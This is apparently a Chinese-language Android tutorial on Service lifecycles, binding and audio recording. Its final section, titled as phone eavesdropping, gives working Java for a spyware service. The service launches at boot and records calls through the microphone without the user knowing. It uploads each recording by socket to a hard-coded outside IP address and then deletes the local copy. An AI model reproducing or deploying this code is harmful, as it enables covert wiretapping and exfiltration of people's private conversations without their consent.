Service和其他的应用组件一样,运行在进程的主线程中。这就是说如果service需要很多耗时或者阻塞的操作,需要在其子线程中实现。
有了 Service 类我们如何启动他呢,有两种方法:
总结:
关于Service生命周期
Android Service生命周期与Activity生命周期是相似的,但是也存在一些细节上也存在着重要的不同:onCreate和onStart是不同的
通过从客户端调用Context.startService(Intent)方法我们可以启动一个服务。如果这个服务还没有运行,Android将启动它并且在onCreate方法之后调用它的onStart方法。如果这个服务已经在运行,那么它的onStart方法将被新的Intent再次调用。所以对于单个运行的Service它的onStart方法被反复调用是完全可能的并且是很正常的。
onResume、onPause以及onStop是不需要的
回调一个服务通常是没有用户界面的,所以我们也就不需要onPause、onResume或者onStop方法了。无论何时一个运行中的Service它总是在后台运行。
onBind
如果一个客户端需要持久的连接到一个服务,那么他可以调用Context.bindService方法。如果这个服务没有运行方法将通过调用onCreate方法去创建这个服务但并不调用onStart方法来启动它。相反,onBind方法将被客户端的Intent调用,并且它返回一个IBind对象以便客户端稍后可以调用这个服务。同一服务被客户端同时启动和绑定是很正常的。
onDestroy
与Activity一样,当一个服务被结束是onDestroy方法将会被调用。当没有客户端启动或绑定到一个服务时Android将终结这个服务。与很多Activity时的情况一样,当内存很低的时候Android也可能会终结一个服务。如果这种情况发生,Android也可能在内存够用的时候尝试启动被终止的服务,所以你的服务必须为重启持久保存信息,并且最好在onStart方法内来做。
应用场景:
1. 本地服务 Local Service用于应用程序内部。
它可以启动并运行,直至有人停止了它或它自己停止。在这种方式下,它以调用Context.startService()启动,而以调用Context.stopService()结束。它可以调用Service.stopSelf() 或 Service.stopSelfResult()来自己停止。不论调用了多少次startService()方法,你只需要调用一次stopService()来停止服务。
用于实现应用程序自己的一些耗时任务,比如查询升级信息,并不占用应用程序比如Activity所属线程,而是单开线程后台执行,这样用户体验比较好。
2.远程服务 Remote Service 用于android系统内部的应用程序之间。
它可以通过自己定义并暴露出来的接口进行程序操作。客户端建立一个到服务对象的连接,并通过那个连接来调用服务。连接以调用Context.bindService()方法建立,以调用 Context.unbindService()关闭。多个客户端可以绑定至同一个服务。如果服务此时还没有加载,bindService()会先加载它。
可被其他应用程序复用,比如天气预报服务,其他应用程序不需要再写这样的服务,调用已有的即可。
1. 使用startService()方法启用服务,调用者与服务之间没有关连,即使调用者退出了,服务仍然运行。
如果打算采用Context.startService()方法启动服务,在服务未被创建时,系统会先调用服务的onCreate()方法,接着调用onStart()方法。
如果调用startService()方法前服务已经被创建,多次调用startService()方法并不会导致多次创建服务,但会导致多次调用onStart()方法。
采用startService()方法启动的服务,只能调用Context.stopService()方法结束服务,服务结束时会调用onDestroy()方法。
2. 使用bindService()方法启用服务,调用者与服务绑定在了一起,调用者一旦退出,服务也就终止, 大有“不求同时生,必须同时死”的特点。
onBind()只有采用Context.bindService()方法启动服务时才会回调该方法。该方法在调用者与服务绑定时被调用,当调用者与服务已经绑定,多次调用Context.bindService()方法并不会导致该方法被多次调用。
采用Context.bindService()方法启动服务时只能调用onUnbind()方法解除调用者与服务解除,服务结束时会调用onDestroy()方法。

例子:
* This is an example of implementing an application service that runs locally
* in the same process as the application. The {@link LocalServiceController}
* and {@link LocalServiceBinding} classes show how to interact with the
* service.
*
* <p>Notice the use of the {@link NotificationManager} when interesting things
* happen in the service. This is generally how background services should
* interact with the user, rather than doing something more disruptive such as
* calling startActivity().
*/
public class LocalService extends Service {
private NotificationManager mNM;
/**
* Class for clients to access. Because we know this service always
* runs in the same process as its clients, we don't need to deal with
* IPC.
*/
public class LocalBinder extends Binder {
LocalService getService() {
return LocalService.this;
}
}
@Override
public void onCreate() {
mNM = (NotificationManager)getSystemService(NOTIFICATION_SERVICE);
// Display a notification about us starting. We put an icon in the status bar.
showNotification();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i( "LocalService", "Received start id " + startId + ": " + intent);
// We want this service to continue running until it is explicitly
// stopped, so return sticky.
return START_STICKY;
}
@Override
public void onDestroy() {
// Cancel the persistent notification.
mNM.cancel(R.string.local_service_started);
// Tell the user we stopped.
Toast.makeText( this, R.string.local_service_stopped, Toast.LENGTH_SHORT).show();
}
@Override
public IBinder onBind(Intent intent) {
return mBinder;
}
// This is the object that receives interactions from clients. See
// RemoteService for a more complete example.
private final IBinder mBinder = new LocalBinder();
/**
* Show a notification while this service is running.
*/
private void showNotification() {
// In this sample, we'll use the same text for the ticker and the expanded notification
CharSequence text = getText(R.string.local_service_started);
// Set the icon, scrolling text and timestamp
Notification notification = new Notification(R.drawable.stat_sample, text,
System.currentTimeMillis());
// The PendingIntent to launch our activity if the user selects this notification
PendingIntent contentIntent = PendingIntent.getActivity( this, 0,
new Intent( this, LocalServiceController. class), 0);
// Set the info for the views that show in the notification panel.
notification.setLatestEventInfo( this, getText(R.string.local_service_label),
text, contentIntent);
// Send the notification.
// We use a layout id because it is a unique number. We use it later to cancel.
mNM.notify(R.string.local_service_started, notification);
}
}
* <p>Example of binding and unbinding to the {@link LocalService}.
* This demonstrates the implementation of a service which the client will
* bind to, receiving an object through which it can communicate with the service.</p>
*/
public class LocalServiceBinding extends Activity {
private boolean mIsBound;
private LocalService mBoundService;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.local_service_binding);
// Watch for button clicks.
Button button = (Button)findViewById(R.id.bind);
button.setOnClickListener(mBindListener);
button = (Button)findViewById(R.id.unbind);
button.setOnClickListener(mUnbindListener);
}
private ServiceConnection mConnection = new ServiceConnection() {
public void onServiceConnected(ComponentName className, IBinder service) {
// This is called when the connection with the service has been
// established, giving us the service object we can use to
// interact with the service. Because we have bound to a explicit
// service that we know is running in our own process, we can
// cast its IBinder to a concrete class and directly access it.
mBoundService = ((LocalService.LocalBinder)service).getService();
// Tell the user about this for our demo.
Toast.makeText(LocalServiceBinding. this, R.string.local_service_connected,
Toast.LENGTH_SHORT).show();
}
public void onServiceDisconnected(ComponentName className) {
// This is called when the connection with the service has been
// unexpectedly disconnected -- that is, its process crashed.
// Because it is running in our same process, we should never
// see this happen.
mBoundService = null;
Toast.makeText(LocalServiceBinding. this, R.string.local_service_disconnected,
Toast.LENGTH_SHORT).show();
}
};
private OnClickListener mBindListener = new OnClickListener() {
public void onClick(View v) {
// Establish a connection with the service. We use an explicit
// class name because we want a specific service implementation that
// we know will be running in our own process (and thus won't be
// supporting component replacement by other applications).
bindService( new Intent(LocalServiceBinding. this,
LocalService. class), mConnection, Context.BIND_AUTO_CREATE);
mIsBound = true;
}
};
private OnClickListener mUnbindListener = new OnClickListener() {
public void onClick(View v) {
if (mIsBound) {
// Detach our existing connection.
unbindService( mConnection);
mIsBound = false;
}
}
};
}
< activity android:name =".app.LocalServiceBinding" android:label ="@string/activity_local_service_binding" >
< intent-filter >
< action android:name ="android.intent.action.MAIN" />
< category android:name ="android.intent.category.SAMPLE_CODE" />
</ intent-filter >
</ activity >
2.LocalService : onBind
3.Activity: onServiceConnected
第一步:在功能清单文件AndroidManifest.xml中添加音频刻录权限:
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
第二步:编写音频刻录代码:
- MediaRecorder recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- recorder.setOutputFile("/mnt/sdcard/itcast.amr");
- recorder.prepare();//预期准备
- recorder.start(); //开始刻录
- ...
- recorder.stop();//停止刻录
- recorder.reset(); //重设
- recorder.release(); //刻录完成一定要释放资源
【2】电话窃听时使用手机麦克风进行录音,然后把录下的音频文件上传至指定的服务器
代码示例:这里只显示客户端的代码
- public class PhoneListenService extends Service
- {
- private static final String TAG = "PhoneListenService";
- @Override
- public void onCreate()
- {
- TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
- telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
- Log.i(TAG, "service created");
- super.onCreate();
- }
- private class TelListener extends PhoneStateListener
- {
- private MediaRecorder recorder;
- private String mobile;
- private File audioFile;
- private boolean record;
- @Override
- public void onCallStateChanged(int state, String incomingNumber)
- {
- try
- {
- switch (state)
- {
- /* 无任何状态时 */
- case TelephonyManager.CALL_STATE_IDLE:
- if(record)
- {
- recorder.stop();//停止刻录
- recorder.release();
- record = false;
- new Thread(new UploadTask()).start();
- Log.i(TAG, "start upload file");
- }
- break;
- /* 接起电话时 */
- case TelephonyManager.CALL_STATE_OFFHOOK:
- Log.i(TAG, "OFFHOOK:"+ mobile);
- recorder = new MediaRecorder();
- recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
- recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式
- recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式
- audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp");
- recorder.setOutputFile(audioFile.getAbsolutePath());
- recorder.prepare(); //预期准备
- recorder.start(); //开始刻录
- record = true;
- break;
- /* 电话进来时 */
- case TelephonyManager.CALL_STATE_RINGING:
- Log.i(TAG, "incomingNumber:"+ incomingNumber);
- mobile = incomingNumber;
- break;
- default:
- break;
- }
- }
- catch (Exception e)
- {
- Log.e(TAG, e.toString());
- }
- super.onCallStateChanged(state, incomingNumber);
- }
- private final class UploadTask implements Runnable
- {
- @Override
- public void run()
- {
- try
- {
- Socket socket = new Socket("220.113.15.71", 7878);
- OutputStream outStream = socket.getOutputStream();
- String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=/r/n";
- outStream.write(head.getBytes());
- PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream());
- String response = StreamTool.readLine(inStream);
- String[] items = response.split(";");
- String position = items[1].substring(items[1].indexOf("=")+1);
- RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
- fileOutStream.seek(Integer.valueOf(position));
- byte[] buffer = new byte[1024];
- int len = -1;
- while( (len = fileOutStream.read(buffer)) != -1)
- {
- outStream.write(buffer, 0, len);
- }
- fileOutStream.close();
- outStream.close();
- inStream.close();
- socket.close();
- audioFile.delete();
- }
- catch (Exception e)
- {
- Log.e(TAG, e.toString());
- }
- }
- }
- }
- //清空缓存目录下的所有文件
- @Override
- public void onDestroy()
- {
- File[] files = getCacheDir().listFiles();
- if(files!=null)
- {
- for(File f: files)
- {
- f.delete();
- }
- }
- Log.i(TAG, "Service Destroy");
- super.onDestroy();
- }
- @Override
- public IBinder onBind(Intent intent)
- {
- // TODO Auto-generated method stub
- return null;
- }
- }
- public class BootBroadcastReceiver extends BroadcastReceiver
- {
- @Override
- public void onReceive(Context context, Intent intent)
- {
- Intent service = new Intent(context, PhoneListenService.class);
- context.startService(service);
- }
- }
- public class StreamTool
- {
- public static void save(File file, byte[] data) throws Exception
- {
- FileOutputStream outStream = new FileOutputStream(file);
- outStream.write(data);
- outStream.close();
- }
- public static String readLine(PushbackInputStream in) throws IOException
- {
- char buf[] = new char[128];
- int room = buf.length;
- int offset = 0;
- int c;
- loop: while (true) {
- switch (c = in.read()) {
- case -1:
- case '/n':
- break loop;
- case '/r':
- int c2 = in.read();
- if ((c2 != '/n') && (c2 != -1)) in.unread(c2);
- break loop;
- default:
- if (--room < 0) {
- char[] lineBuffer = buf;
- buf = new char[offset + 128];
- room = buf.length - offset - 1;
- System.arraycopy(lineBuffer, 0, buf, 0, offset);
- }
- buf[offset++] = (char) c;
- break;
- }
- }
- if ((c == -1) && (offset == 0)) return null;
- return String.copyValueOf(buf, 0, offset);
- }
- /**
- * 读取流
- * @param inStream
- * @return 字节数组
- * @throws Exception
- */
- public static byte[] readStream(InputStream inStream) throws Exception
- {
- ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
- byte[] buffer = new byte[1024];
- int len = -1;
- while( (len=inStream.read(buffer)) != -1)
- {
- outSteam.write(buffer, 0, len);
- }
- outSteam.close();
- inStream.close();
- return outSteam.toByteArray();
- }
- }